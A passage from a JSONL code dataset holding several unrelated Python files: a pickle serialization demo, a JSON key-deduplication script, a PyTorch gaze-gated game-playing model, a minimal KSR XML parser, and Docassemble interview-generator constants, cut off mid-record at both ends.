내용입니다.')","repo_name":"WhiteHair-H/StudyRasberry21","sub_path":"Test/test/test01.py","file_name":"test01.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42207042086","text":"#!/usr/bin/env python3\r\n#coding=utf-8\r\n#我们把变量从内存中变成可存储或传输的过程称之为序列化,在Python中叫pickling,\r\n# 在其他语言中也被称之为serialization,marshalling,flattening等等,都是一个意思\r\n#序列化\r\nimport pickle\r\nd = dict(name='bob',age=20)\r\nprint(pickle.dumps(d)) #pickle.dumps()方法把任意对象序列化成一个bytes\r\nf = open('testdir/tt.txt','wb')\r\npickle.dump(d,f) #pickle.dump()直接把对象序列化后写入一个file-like Object\r\nf.close()\r\n\r\nff = open('testdir/tt.txt','rb')\r\ndd = pickle.load(ff) #从磁盘读到内存时,可以先把内容读到一个bytes,然后用pickle.loads()方法反序列化出对象\r\nprint(dd)\r\nff.close()","repo_name":"pythongitproject/python-project","sub_path":"ioprogramme/picklexl.py","file_name":"picklexl.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40900506394","text":"import json\nimport sys\n\ndef remove_duplicate_keys(input_file):\n with open(input_file, 'r') as file:\n data = json.load(file)\n\n # Process keys and values, retaining \"like\" over \"dislike\" if duplicates are found\n unique_data = {}\n for key, value in sorted(data.items(), key=lambda item: item[1], reverse=True):\n # Only add the key-value pair if the key is not already in unique_data\n # Since we're iterating through the sorted data, \"like\" values will be added first\n if key not in unique_data:\n unique_data[key] = value\n\n output_file = input_file.rsplit('.', 1)[0] + '-deduplicated.json'\n with open(output_file, 'w') as file:\n json.dump(unique_data, file, indent=4)\n\n print(f\"Duplicates removed and saved to {output_file}\")\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: python script.py \")\n else:\n input_file = sys.argv[1]\n remove_duplicate_keys(input_file)\n","repo_name":"james-things/image-dataset-scorer","sub_path":"deduplicate-data.py","file_name":"deduplicate-data.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13665687562","text":"import torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom math import floor\nfrom torch.utils.tensorboard import SummaryWriter\nfrom yaml import safe_load\nimport os\nfrom src.data.data_utils import ImbalancedDatasetSampler\nfrom src.data.data_loaders import HDF5TorchDataset, load_data_iter\nimport matplotlib.pyplot as plt\nfrom src.features.feat_utils import image_transforms\nimport gym\nfrom gym.wrappers import FrameStack, Monitor\nnp.random.seed(42)\n\n\nclass SGAZED_ACTION_SL(nn.Module):\n def __init__(self,\n input_shape=(84, 84),\n load_model=False,\n epoch=0,\n num_actions=18,\n game='breakout',\n data_types=['images', 'actions', 'gazes_fused_noop'],\n dataset_train='combined',\n dataset_train_load_type='disk',\n dataset_val='combined',\n dataset_val_load_type='disk',\n device=torch.device('cpu'),\n gaze_pred_model=None, env_name='env',\n mode='train', opt=None):\n super(SGAZED_ACTION_SL, self).__init__()\n self.game = game\n self.env_name = env_name,\n self.data_types = data_types\n self.input_shape = input_shape\n self.num_actions = num_actions\n with open('src/config.yaml', 'r') as f:\n self.config_yml = safe_load(f.read())\n\n model_save_dir = os.path.join(self.config_yml['MODEL_SAVE_DIR'], game,\n dataset_train)\n if not os.path.exists(model_save_dir):\n os.makedirs(model_save_dir)\n\n self.model_save_string = os.path.join(\n model_save_dir, self.__class__.__name__ + '_Epoch_{}.pt')\n log_dir = os.path.join(\n self.config_yml['RUNS_DIR'], game,\n '{}_{}'.format(dataset_train, self.__class__.__name__))\n self.writer = SummaryWriter(log_dir=os.path.join(\n log_dir, \"run_{}\".format(\n len(os.listdir(log_dir)) if os.path.exists(log_dir) else 0)))\n self.device = device\n self.batch_size = self.config_yml['BATCH_SIZE']\n self.gaze_gate = nn.GRU(3136, 1, 1, batch_first=True)\n # self.gate_hidden = (torch.ones(1, self.batch_size, 1) * -1).to(device=self.device)\n # self.gate_hidden.requires_grad= False\n # self.W = torch.nn.Parameter(torch.Tensor([1]),requires_grad=True)\n\n if mode != 'eval':\n self.train_data_iter = load_data_iter(\n game=self.game,\n data_types=self.data_types,\n dataset=dataset_train,\n device=device,\n batch_size=self.batch_size,\n sampler=ImbalancedDatasetSampler,\n load_type=dataset_train_load_type,\n dataset_exclude=dataset_val,\n )\n\n self.val_data_iter = load_data_iter(\n game=self.game,\n data_types=self.data_types,\n dataset=dataset_val,\n dataset_exclude=dataset_train,\n device=device,\n batch_size=self.batch_size,\n load_type=dataset_val_load_type,\n )\n\n self.conv1 = nn.Conv2d(1, 32, 8, stride=(4, 4))\n self.pool = nn.MaxPool2d((1, 1), (1, 1), (0, 0), (1, 1))\n # self.pool = lambda x: x\n\n self.conv2 = nn.Conv2d(32, 64, 4, stride=(2, 2))\n self.conv3 = nn.Conv2d(64, 64, 3, stride=(1, 1))\n\n self.conv21 = nn.Conv2d(1, 32, 8, stride=(4, 4))\n self.pool2 = nn.MaxPool2d((1, 1), (1, 1), (0, 0), (1, 1))\n # self.pool = lambda x: x\n\n self.conv22 = nn.Conv2d(32, 64, 4, stride=(2, 2))\n self.conv23 = nn.Conv2d(64, 64, 3, stride=(1, 1))\n\n # self.W = torch.nn.Parameter(\n # torch.Tensor([0.0]), requires_grad=True)\n\n self.lin_in_shape = self.lin_in_shape()\n self.linear1 = nn.Linear(2*64 * np.prod(self.lin_in_shape), 512)\n self.linear2 = nn.Linear(512, 128)\n self.linear3 = nn.Linear(128, self.num_actions)\n # self.batch_norm32 = nn.BatchNorm2d(32)\n self.batch_norm32_1 = nn.BatchNorm2d(32)\n self.batch_norm32_2 = nn.BatchNorm2d(32)\n # self.batch_norm64 = nn.BatchNorm2d(64)\n self.batch_norm64_1 = nn.BatchNorm2d(64)\n self.batch_norm64_2 = nn.BatchNorm2d(64)\n self.batch_norm64_3 = nn.BatchNorm2d(64)\n self.batch_norm64_4 = nn.BatchNorm2d(64)\n self.dropout = nn.Dropout(p=0.2)\n self.relu = nn.ReLU()\n self.relu2 = nn.ReLU()\n self.softmax = torch.nn.Softmax()\n self.load_model = load_model\n self.epoch = epoch\n self.opt = opt\n self.gaze_pred_model = gaze_pred_model\n self.gate_output = 0\n\n def forward(self, x, x_g):\n # frame forward\n\n x = self.pool(self.relu(self.conv1(x)))\n x = self.batch_norm32_1(x)\n # x = self.dropout(x)\n\n x = self.pool(self.relu(self.conv2(x)))\n x = self.batch_norm64_1(x)\n # x = self.dropout(x)\n\n x = self.pool(self.relu(self.conv3(x)))\n x = self.batch_norm64_2(x)\n # x = self.dropout(x)\n\n # gaze_overlay forward\n # x_g = self.W * x_g\n\n embed = torch.flatten(x, start_dim=1).unsqueeze(1).detach()\n\n h = (torch.ones(1, x.shape[0], 1) * -1).to(device=self.device)\n h.requires_grad = False\n\n out, h = self.gaze_gate(embed, h)\n\n out = out.flatten()\n gate_output = torch.relu(torch.sign(out))\n\n # self.writer.add_scalar('gate_output',gate_output.data.item())\n self.gate_output= gate_output.data.item()\n\n gate_output = torch.stack([\n vote * torch.ones(x_g.shape[1:]).to(device=self.device) for vote in gate_output\n ]).to(device=self.device)\n\n x_g = x_g * gate_output\n\n x_g = self.pool2(self.relu2(self.conv21(x_g)))\n x_g = self.batch_norm32_2(x_g)\n # x_g = self.dropout(x_g)\n\n x_g = self.pool2(self.relu2(self.conv22(x_g)))\n x_g = self.batch_norm64_3(x_g)\n # x_g = self.dropout(x_g)\n\n x_g = self.pool2(self.relu2(self.conv23(x_g)))\n x_g = self.batch_norm64_4(x_g)\n # x_g = self.dropout(x_g)\n\n # combine gaze conv + frame conv\n # x = (x + x_g)\n\n x = torch.cat([x, x_g], dim=1)\n # x = x.view(-1, 64 * torch.prod(self.lin_in_shape))\n x = x.flatten(start_dim=1)\n x = self.linear1(x)\n x = self.linear2(x)\n x = self.linear3(x)\n return x\n\n def out_shape(self, layer, in_shape):\n h_in, w_in = in_shape\n h_out, w_out = floor((\n (h_in + 2 * layer.padding[0] - layer.dilation[0] *\n (layer.kernel_size[0] - 1) - 1) / layer.stride[0]) + 1), floor((\n (w_in + 2 * layer.padding[1] - layer.dilation[1] *\n (layer.kernel_size[1] - 1) - 1) / layer.stride[1]) + 1)\n return h_out, w_out\n\n def lin_in_shape(self):\n # TODO create as a wrapper\n # wrapper that gives num params\n\n # temp written down shape calcer\n out_shape = self.out_shape(self.conv1, self.input_shape)\n out_shape = self.out_shape(self.conv2, out_shape)\n out_shape = self.out_shape(self.conv3, out_shape)\n return out_shape\n\n def loss_fn(self, loss_, acts, targets):\n ce_loss = loss_(acts, targets).to(device=self.device)\n return ce_loss\n\n def train_loop(self,\n opt,\n lr_scheduler,\n loss_,\n batch_size=32,\n gaze_pred=None):\n self.gaze_pred_model = gaze_pred\n self.loss_ = loss_\n if self.gaze_pred_model is not None:\n self.gaze_pred_model.eval()\n self.opt = opt\n\n if self.load_model:\n model_pickle = torch.load(self.model_save_string.format(\n self.epoch))\n self.load_state_dict(model_pickle['model_state_dict'])\n \n # self.opt.load_state_dict(model_pickle['optimizer_state_dict'])\n # lr_scheduler = torch.optim.lr_scheduler.MultiplicativeLR(self.opt,lr_lambda=lambda e:0.8)\n \n self.epoch = model_pickle['epoch']\n loss_val = model_pickle['loss']\n print(\"Loaded {} model from saved checkpoint {} with loss {}\".format(\n self.__class__.__name__, self.epoch, loss_val))\n else:\n self.epoch = -1\n eix = 0\n start_epoch = self.epoch+1\n end_epoch = start_epoch+300\n for epoch in range(start_epoch, end_epoch):\n for i, data in enumerate(self.train_data_iter):\n\n x, y, x_g = self.get_data(data)\n if self.gaze_pred_model is not None:\n with torch.no_grad():\n x_g = self.gaze_pred_model.infer(x)\n x_g = self.process_gaze(x_g).unsqueeze(1)\n # x_g = x_g.unsqueeze(1).repeat(1, x.shape[1], 1, 1)\n\n x = x[:, -1].unsqueeze(1)\n \n\n self.opt.zero_grad()\n\n acts = self.forward(x, x_g)\n loss = self.loss_fn(loss_, acts, y)\n loss.backward()\n self.opt.step()\n self.writer.add_scalar('Loss', loss.data.item(), eix)\n self.writer.add_scalar('Acc', self.batch_acc(acts, y), eix)\n\n eix += 1\n if epoch % 1 == 0:\n self.writer.add_scalar('Train Acc', self.accuracy(), epoch)\n print(\"Epoch \", epoch, \"loss\", loss)\n self.writer.add_scalar('Learning Rate', lr_scheduler.get_lr()[0], epoch)\n\n self.game_play(epoch)\n\n torch.save(\n {\n 'epoch': epoch,\n 'model_state_dict': self.state_dict(),\n 'optimizer_state_dict': opt.state_dict(),\n 'loss': loss,\n }, self.model_save_string.format(epoch))\n if epoch % 6 == 0:\n lr_scheduler.step()\n\n def process_gaze(self, gaze):\n gaze = torch.exp(gaze)\n gazes = []\n for g in gaze:\n g = (g - torch.min(g)) / (torch.max(g) - torch.min(g))\n gazes.append(g)\n gaze = torch.stack(gazes)\n del gazes\n return gaze\n\n def get_data(self, data):\n if isinstance(data, dict):\n x = data['images'].to(device=self.device)\n y = data['actions'].to(device=self.device)\n x_g = data['gazes'].to(device=self.device)\n\n elif isinstance(data, list):\n x, y, x_g = data\n if len(x.shape) < 4:\n x = x.unsqueeze(1)\n if len(x_g.shape) < 4:\n x_g = x_g.unsqueeze(1)\n return x, y, x_g\n\n def infer(self, x_var, xg_var):\n with torch.no_grad():\n self.eval()\n\n acts = self.forward(x_var, xg_var)\n acts = torch.softmax(acts, dim=1).argmax()\n self.writer.add_scalars('actions_gate',{'actions':torch.sign(acts).data.item(),'gate_out':self.gate_output})\n if self.gate_output == 0:\n self.gate_output = -1\n self.writer.add_scalar('actions_gazed',acts.data.item()*self.gate_output)\n\n self.train()\n\n return acts\n\n def load_model_fn(self, epoch):\n self.epoch = epoch\n model_pickle = torch.load(self.model_save_string.format(self.epoch))\n model_state_dict = {}\n for k in model_pickle['model_state_dict']:\n if not k.__contains__('gaze_pred'):\n model_state_dict[k] = model_pickle['model_state_dict'][k]\n\n model_pickle['model_state_dict'] = model_state_dict\n\n self.load_state_dict(model_pickle['model_state_dict'])\n self.epoch = model_pickle['epoch']\n loss_val = model_pickle['loss']\n print(\"Loaded {} model from saved checkpoint {} with loss {}\".format(\n self.__class__.__name__, self.epoch, loss_val))\n\n def batch_acc(self, acts, y):\n with torch.no_grad():\n acc = (acts.argmax(dim=1) == y).sum().data.item() / y.shape[0]\n return acc\n\n def calc_val_metrics(self, e):\n acc = 0\n ix = 0\n loss = 0\n self.eval()\n with torch.no_grad():\n for i, data in enumerate(self.val_data_iter):\n x, y, x_g = self.get_data(data)\n if self.gaze_pred_model is not None:\n with torch.no_grad():\n x_g = self.gaze_pred_model.infer(x)\n x_g = self.process_gaze(x_g).unsqueeze(1)\n # x_g = x_g.unsqueeze(1).repeat(1, x.shape[1], 1, 1)\n\n x = x[:, -1].unsqueeze(1)\n\n x_g = (x * x_g)\n\n # x_g = x_g.unsqueeze(1).expand(x.shape)\n\n acts = self.forward(x, x_g)\n loss += self.loss_fn(self.loss_, acts, y).data.item()\n\n acc += (acts.argmax(dim=1) == y).sum().data.item()\n ix += y.shape[0]\n\n self.train()\n self.writer.add_scalar('Val Loss', loss / ix, e)\n self.writer.add_scalar('Val Acc', acc / ix, e)\n\n def accuracy(self):\n acc = 0\n ix = 0\n self.eval()\n\n with torch.no_grad():\n # if True:\n for i, data in enumerate(self.train_data_iter):\n x, y, x_g = self.get_data(data)\n if self.gaze_pred_model is not None:\n with torch.no_grad():\n x_g = self.gaze_pred_model.infer(x)\n x_g = self.process_gaze(x_g).unsqueeze(1)\n # x_g = x_g.unsqueeze(1).repeat(1, x.shape[1], 1, 1)\n\n x = x[:, -1].unsqueeze(1)\n\n x_g = (x * x_g)\n\n acts = self.forward(x, x_g).argmax(dim=1)\n acc += (acts == y).sum().data.item()\n ix += y.shape[0]\n\n self.train()\n return (acc / ix)\n def game_play(self, epoch):\n transform_images = image_transforms()\n\n # env = gym.make('Phoenix-v0', full_action_space=True,frameskip=4)\n print(self.env_name[0])\n env = gym.make(self.env_name[0], full_action_space=True, frameskip=1)\n env = FrameStack(env, 4)\n env = Monitor(env, self.env_name[0], force=True)\n\n t_rew = 0\n\n for i_episode in range(2):\n observation = env.reset()\n ep_rew = 0\n while True:\n observation = torch.stack(\n [transform_images(o).squeeze() for o in observation]).unsqueeze(0).to(device=self.device)\n x_g = self.gaze_pred_model.infer(observation)\n x_g = self.process_gaze(x_g).unsqueeze(1)\n observation = observation[:, -1].unsqueeze(1)\n x_g = observation * x_g\n action = self.infer(observation, x_g).data.item()\n observation, reward, done, info = env.step(action)\n\n ep_rew += reward\n if done:\n # print(\"Episode finished after {} timesteps\".format(t + 1))\n break\n t_rew += ep_rew\n print(\"Episode {} reward {}\".format(i_episode, ep_rew))\n print(\"Ave Episode {} reward {}\".format(\n i_episode, t_rew/(i_episode+1)))\n self.writer.add_scalar(\"Game Reward\", t_rew/(i_episode+1), epoch)\n\n\nif __name__ == \"__main__\":\n\n action_net = SGAZED_ACTION_SL(mode='eval')\n rand_frame = torch.rand(3, 4, 84, 84)\n rand_gaze = torch.rand(3, 4, 84, 84)\n # writer = SummaryWriter()\n\n action_net.writer.add_graph(action_net,\n input_to_model=(rand_frame, rand_gaze))\n action_net.writer.flush()\n exit()\n # action_net.writer.close()\n rand_target = torch.randint(action_net.num_actions, [1])\n action_net.forward(rand_frame, rand_gaze)\n optimizer = torch.optim.Adadelta(action_net.parameters(), lr=1.0, rho=0.95)\n\n # if scheduler is declared, ought to use & update it , else model never trains\n # lr_scheduler = torch.optim.lr_scheduler.LambdaLR(\n # optimizer, lr_lambda=lambda x: x*0.95)\n lr_scheduler = None\n\n loss_ = torch.nn.CrossEntropyLoss()\n action_net.train_loop(optimizer,\n lr_scheduler,\n loss_,\n rand_frame,\n rand_target,\n rand_gaze,\n batch_size=4)\n","repo_name":"amsterg/ahead","sub_path":"src/models/selective_gaze_only.py","file_name":"selective_gaze_only.py","file_ext":"py","file_size_in_byte":16634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"30635689754","text":"\"\"\"\nReally minimalistic XML parser for parsing KSR XML documents.\n\nFocus for this implementation is:\n\n 1) not adding a dependency\n 2) auditable code\n\nNOT XML compliance. We just need to parse KSRs good enough.\n\"\"\"\nfrom __future__ import absolute_import\n\nimport logging\nimport re\nfrom dataclasses import dataclass\nfrom typing import Dict, Optional, Tuple, Union\n\n__author__ = \"ft\"\n\n_DEBUG_XML_PARSER = False\n\n\n@dataclass(frozen=False)\nclass _XMLElement:\n name: str\n attrs: Optional[Dict[str, str]]\n value: Union[str, dict]\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_ksr(xml: str) -> dict:\n \"\"\"\n Parse a KSR XML.\n\n Anything before the first ' dict:\n \"\"\"\n Parse something that is probably a KSR XML file without anything fancy in it into a dict.\n\n The XML provided to this function is expected to start with the \"\" tag, and\n NOT the document header, e.g.:\n\n \n \n\n The result is a nested tree of dicts, or lists of dicts if more than one element\n with a given name is found. See the unit tests for some real examples of input and output.\n\n :param xml: XML document\n :param recurse: Maximum level of recursion that will be done before aborting\n :return: Dictionary with parsed data\n \"\"\"\n res: dict = {}\n _parse_recursively(xml, recurse=recurse, res=res)\n return res\n\n\ndef _parse_recursively(xml: str, recurse: int, res: dict) -> None:\n \"\"\"\n Parse an XML element and all it's sub-elements.\n\n Parse the first element in an XML sub-string, and recursively call itself\n if the value contains further XML elements.\n\n :param xml: XML sub-string, possibly containing more XML sub-strings\n :param recurse: Levels of recursion permitted\n :param res: Resulting data dictionary, modified in-place\n \"\"\"\n while xml:\n xml = xml.strip()\n if xml[0] != \"<\":\n raise ValueError(\"XML parser got lost at: {!r}\".format(xml))\n # start of element\n if _DEBUG_XML_PARSER:\n logger.debug(\"Start of element found: {!r}...\".format(xml[:20]))\n element, end_idx = parse_first_element(xml)\n sub_res: dict = {}\n # the isinstance helps the type checker be sure that element.value is in fact a string\n if isinstance(element.value, str) and element.value and element.value[0] == \"<\":\n # value is one or more new elements, recurse\n if not recurse:\n raise ValueError(\"XML maximum recursion depth exhausted\")\n _parse_recursively(element.value, recurse - 1, sub_res)\n element.value = sub_res\n\n _store_element(element, res)\n\n # shave off the part of the XML we are now finished with\n xml = xml[end_idx:]\n\n\ndef _store_element(element: _XMLElement, res: dict) -> None:\n \"\"\"\n Store an XML element in parsed form.\n\n Example: test has\n\n name = 'KSR'\n attrs = {'id': 'foo', 'domain': '.'}\n value = 'test'\n\n If `attrs` is not None, re-format the value into a small dict with\n the keys 'attrs' and 'value'.\n\n If an element with this `name` is already present in the `res` dictionary,\n turn res[name] into a list and append the new element to it.\n\n :param element: XML element\n :param res: Resulting data dictionary, modified in-place\n \"\"\"\n value = element.value\n if element.attrs is not None:\n value = {\n \"attrs\": element.attrs,\n \"value\": value,\n }\n if element.name in res:\n # Element has been seen already, transform it to a list if it is not\n # and append the new element to the list\n if not isinstance(res[element.name], list):\n res[element.name] = [res[element.name]]\n res[element.name] += [value]\n else:\n # Element not previously found, add as a single value\n res[element.name] = value\n\n\ndef parse_first_element(xml: str) -> Tuple[_XMLElement, int]:\n \"\"\"\n Parse the first element from the start of the XML sub-string.\n\n :param xml: XML sub-string\n :return: Parsed element (name, attrs and value) and an index to the end of it in the XML sub-string\n \"\"\"\n name, attrs, tag_end = _parse_tag(xml)\n if _DEBUG_XML_PARSER:\n logger.debug(\"Found tag {} with attrs {}\".format(name, attrs))\n if xml[tag_end - 2 : tag_end] == \"/>\":\n # an element with no value\n return _XMLElement(name=name, attrs=attrs, value=\"\"), tag_end\n value_start = tag_end\n value_end, element_end_idx = _find_end_of_element(xml, value_start, name)\n if _DEBUG_XML_PARSER:\n logger.debug(\"Found end of element {} at idx {}\".format(name, element_end_idx))\n value = xml[value_start:value_end].strip()\n return _XMLElement(name=name, attrs=attrs, value=value), element_end_idx\n\n\ndef _parse_tag(xml: str) -> Tuple[str, Optional[dict], int]:\n \"\"\"\n Parse the first XML start-of-elements into name and attributes.\n\n Only three limited forms are supported:\n\n Example 1: \n\n name = 'KSR'\n attrs = {'id': 'foo', 'domain': '.'}\n\n Example 2: \n\n name = 'Request'\n attrs = None\n\n Example 3: \n\n name = 'Signer'\n attrs = {'keyIdentifier': 'KC00020'}\n\n :param xml: XML sub-string\n :return: Element name, parsed attributes and index to whatever is after the tag\n \"\"\"\n # regexp matching the case \n m = re.match(r\"<(\\w+?)(\\s+?)(.+?)(/*)>\", xml)\n if m:\n name, ws, attrs, slash = m.groups()\n end_idx = len(name) + len(ws) + len(attrs) + len(slash) + 2\n return name, _parse_attrs(attrs), end_idx\n # Regexp matching the case \n m = re.match(r\"<(\\w+)>\", xml)\n if m:\n name = m.groups()[0]\n end_idx = len(name) + 2\n return name, None, end_idx\n raise ValueError(\"Failed parsing tag {!r}...\".format(xml[:10]))\n\n\ndef _parse_attrs(attrs: str) -> dict:\n \"\"\"\n Parse element attributes into a dict.\n\n Example: The string\n\n 'id=\"foo\" domain=\".\"' is parsed into the dict\n {'id': 'foo', 'domain': '.'}\n\n :param attrs: Element sub-string\n :return: Element attributes as dictionary\n \"\"\"\n res = {}\n while attrs:\n attrs = attrs.strip()\n m = re.match(r'^(\\w+)=\"(.+?)\"\\s*(.*)', attrs)\n if m:\n name, value, attrs = m.groups()\n res[name] = value\n return res\n\n\ndef _find_end_of_element(xml: str, start_idx: int, name: str) -> Tuple[int, int]:\n \"\"\"\n Locate the end of an element whose name has already been determined.\n\n Support _one_ level of tag nesting, to handle the Signature element of KSRs that\n contain another Signature element.\n\n :param xml: XML sub-string\n :param start_idx: Index to start of element value\n :param name: Element name\n :return: End of value index, and end of element index\n \"\"\"\n element_end_tag = \"\".format(name)\n end_idx = xml.index(element_end_tag, start_idx)\n # Now check if there is another starting tag for this name before the end tag we found\n for nested_tag in [\"<{}>\".format(name), \"<{} \".format(name)]:\n try:\n inner_idx = xml.index(nested_tag)\n if inner_idx and inner_idx < end_idx:\n end_idx = xml.index(element_end_tag, end_idx + len(element_end_tag))\n except ValueError:\n pass\n return end_idx, end_idx + len(element_end_tag)\n","repo_name":"iana-org/dnssec-keytools","sub_path":"src/kskm/common/xml_parser.py","file_name":"xml_parser.py","file_ext":"py","file_size_in_byte":7680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17583573120","text":"\"\"\"\nConstants for interview_generator.py\n\"\"\"\nfrom typing import Dict, List\n\n\n# This is to workaround fact you can't do local import in Docassemble playground\nclass GeneratorConstantObject(object):\n RESERVED_WHOLE_WORDS: List[str]\n UNDEFINED_PERSON_PREFIXES: List[str]\n ALLOW_SINGULAR_SUFFIXES: List[str]\n RESERVED_PERSON_PLURALIZERS_MAP: Dict[str, str]\n RESERVED_PREFIXES: List[str]\n RESERVED_PRIMITIVE_PLURALIZERS_MAP: Dict[str, str]\n RESERVED_PLURALIZERS_MAP: Dict[str, str]\n RESERVED_SUFFIXES_MAP: Dict[str, str]\n PEOPLE_SUFFIXES_MAP: Dict[str, str]\n PEOPLE_SUFFIXES: List[str]\n DOCX_ONLY_SUFFIXES: List[str]\n DISPLAY_SUFFIX_TO_SETTABLE_SUFFIX: Dict[str, str]\n FULL_DISPLAY: Dict[str, str]\n COURT_CHOICES: List[str]\n\n\ngenerator_constants = GeneratorConstantObject()\n\n# Words that are reserved exactly as they are\ngenerator_constants.RESERVED_WHOLE_WORDS = [\n \"signature_date\",\n \"docket_number\",\n \"case_number\",\n \"user_needs_interpreter\",\n \"user_preferred_language\",\n]\n\n# Prefixes for singular person-like objects, like trial courts that\n# should be left undefined to trigger their question\ngenerator_constants.UNDEFINED_PERSON_PREFIXES = [\n \"trial_court\",\n]\n\n# NOTE: if the suffix is allowed for a singular prefix, you must list the variable here\n# E.g., we do not allow users.address.address in a DOCX, but we do allow trial_court.address.address\ngenerator_constants.ALLOW_SINGULAR_SUFFIXES = [\"trial_court\"]\n\n# Prefixes as they would appear in a PDF (singular)\ngenerator_constants.RESERVED_PREFIXES = [\n \"users\",\n \"other_parties\",\n \"children\",\n \"plaintiffs\",\n \"defendants\",\n \"petitioners\",\n \"respondents\",\n \"spouses\",\n \"parents\",\n \"caregivers\",\n \"attorneys\",\n \"translators\",\n \"debt_collectors\",\n \"creditors\",\n \"witnesses\",\n \"courts\",\n \"decedents\",\n \"interested_partys\",\n \"interested_parties\",\n \"trial_court\",\n \"docket_numbers\",\n \"case_numbers\",\n \"user\",\n \"other_party\",\n \"child\",\n \"plaintiff\",\n \"defendant\",\n \"petitioner\",\n \"respondent\",\n \"spouse\",\n \"parent\",\n \"caregiver\",\n \"attorney\",\n \"translator\",\n \"debt_collector\",\n \"creditor\",\n \"witness\",\n \"court\",\n \"decedent\",\n \"interested_party\",\n \"trial_court\",\n \"adoptees\",\n # Can't find a way to make order not matter here\n # without making everything in general more messy\n \"guardians_ad_litem\",\n \"guardian_ad_litem\",\n \"guardians\",\n \"guardian\",\n]\n\ngenerator_constants.RESERVED_PERSON_PLURALIZERS_MAP = {\n # Singular terms that get pluralized are deprecated\n \"users\": \"users\",\n \"other_parties\": \"other_parties\",\n \"children\": \"children\",\n \"plaintiffs\": \"plaintiffs\",\n \"defendants\": \"defendants\",\n \"petitioners\": \"petitioners\",\n \"respondents\": \"respondents\",\n \"spouses\": \"spouses\",\n \"parents\": \"parents\",\n \"caregivers\": \"caregivers\",\n \"attorneys\": \"attorneys\",\n \"translators\": \"translators\",\n \"debt_collectors\": \"debt_collectors\",\n \"creditors\": \"creditors\",\n \"witnesses\": \"witnesses\",\n \"courts\": \"courts\",\n \"decedents\": \"decedents\",\n \"interested_parties\": \"interested_parties\",\n \"guardians_ad_litem\": \"guardians_ad_litem\",\n \"guardians\": \"guardians\",\n \"adoptees\": \"adoptees\",\n # These are left in for backwards compatibility\n \"user\": \"users\",\n \"plaintiff\": \"plaintiffs\",\n \"defendant\": \"defendants\",\n \"petitioner\": \"petitioners\",\n \"respondent\": \"respondents\",\n \"spouse\": \"spouses\",\n \"parent\": \"parents\",\n \"guardian\": \"guardians\",\n \"caregiver\": \"caregivers\",\n \"attorney\": \"attorneys\",\n \"translator\": \"translators\",\n \"debt_collector\": \"debt_collectors\",\n \"creditor\": \"creditors\",\n # Non \"s\" plurals\n \"other_party\": \"other_parties\",\n \"child\": \"children\",\n \"guardian_ad_litem\": \"guardians_ad_litem\",\n \"witness\": \"witnesses\",\n \"decedent\": \"decedents\",\n \"interested_party\": \"interested_parties\",\n \"adoptee\": \"adoptees\",\n # Special for name change forms (maybe HACK)\n \"users[0].previous_names\": \"users[0].previous_names\",\n \"children[0].previous_names\": \"children[0].previous_names\",\n}\n\ngenerator_constants.RESERVED_PRIMITIVE_PLURALIZERS_MAP = {\n \"docket_numbers\": \"docket_numbers\",\n \"case_numbers\": \"case_numbers\",\n}\n\ngenerator_constants.RESERVED_PLURALIZERS_MAP = {\n **generator_constants.RESERVED_PERSON_PLURALIZERS_MAP,\n **generator_constants.RESERVED_PRIMITIVE_PLURALIZERS_MAP,\n **{\n \"court\": \"courts\", # for backwards compatibility\n },\n}\n\n# Any reason to not make all suffixes available to everyone?\n# Yes: it can break variables that overlap but have a different meaning\n# Better to be explicit\n\n# Some common attributes that can be a clue it's a person object\ngenerator_constants.PEOPLE_SUFFIXES_MAP = {\n \"_name\": \"\", # full name\n \"_name_full\": \"\", # full name\n \"_name_first\": \".name.first\",\n \"_name_middle\": \".name.middle\",\n \"_name_middle_initial\": \".name.middle_initial()\",\n \"_name_last\": \".name.last\",\n \"_name_suffix\": \".name.suffix\",\n \"_gender\": \".gender\",\n \"_gender_male\": \".gender_male\",\n \"_gender_female\": \".gender_female\",\n \"_gender_nonbinary\": \".gender_nonbinary\",\n \"_gender_undisclosed\": \".gender_undisclosed\",\n \"_gender_self_described\": \".gender_self_described\",\n \"_birthdate\": \".birthdate.format()\",\n \"_age\": \".age_in_years()\",\n \"_email\": \".email\",\n \"_language\": \".language\",\n \"_phone\": \".phone_number\",\n \"_phone_number\": \".phone_number\",\n \"_fax_number\": \".fax_number\",\n \"_mobile\": \".mobile_number\",\n \"_mobile_number\": \".mobile_number\",\n \"_phones\": \".phone_numbers()\",\n \"_address_block\": \".address.block()\",\n # TODO: deprecate street and street2 from existing forms and documentation\n \"_address_street\": \".address.address\",\n \"_address_street2\": \".address.unit\",\n \"_address_address\": \".address.address\",\n \"_address_unit\": \".address.unit\",\n \"_address_city\": \".address.city\",\n \"_address_state\": \".address.state\",\n \"_address_zip\": \".address.zip\",\n \"_address_county\": \".address.county\",\n \"_address_country\": \".address.country\",\n \"_address_on_one_line\": \".address.on_one_line()\",\n \"_address_line_one\": \".address.line_one()\",\n \"_address_city_state_zip\": \".address.line_two()\",\n \"_address_line_two\": \".address.line_two()\",\n \"_signature\": \".signature\",\n \"_mailing_address_block\": \".mailing_address.block()\",\n \"_mailing_address_street\": \".mailing_address.address\",\n \"_mailing_address_street2\": \".mailing_address.unit\",\n \"_mailing_address_address\": \".mailing_address.address\",\n \"_mailing_address_unit\": \".mailing_address.unit\",\n \"_mailing_address_city\": \".mailing_address.city\",\n \"_mailing_address_state\": \".mailing_address.state\",\n \"_mailing_address_zip\": \".mailing_address.zip\",\n \"_mailing_address_county\": \".mailing_address.county\",\n \"_mailing_address_country\": \".mailing_address.country\",\n \"_mailing_address_on_one_line\": \".mailing_address.on_one_line()\",\n \"_mailing_address_line_one\": \".mailing_address.line_one()\",\n \"_mailing_address_city_state_zip\": \".mailing_address.line_two()\",\n \"_mailing_address_line_two\": 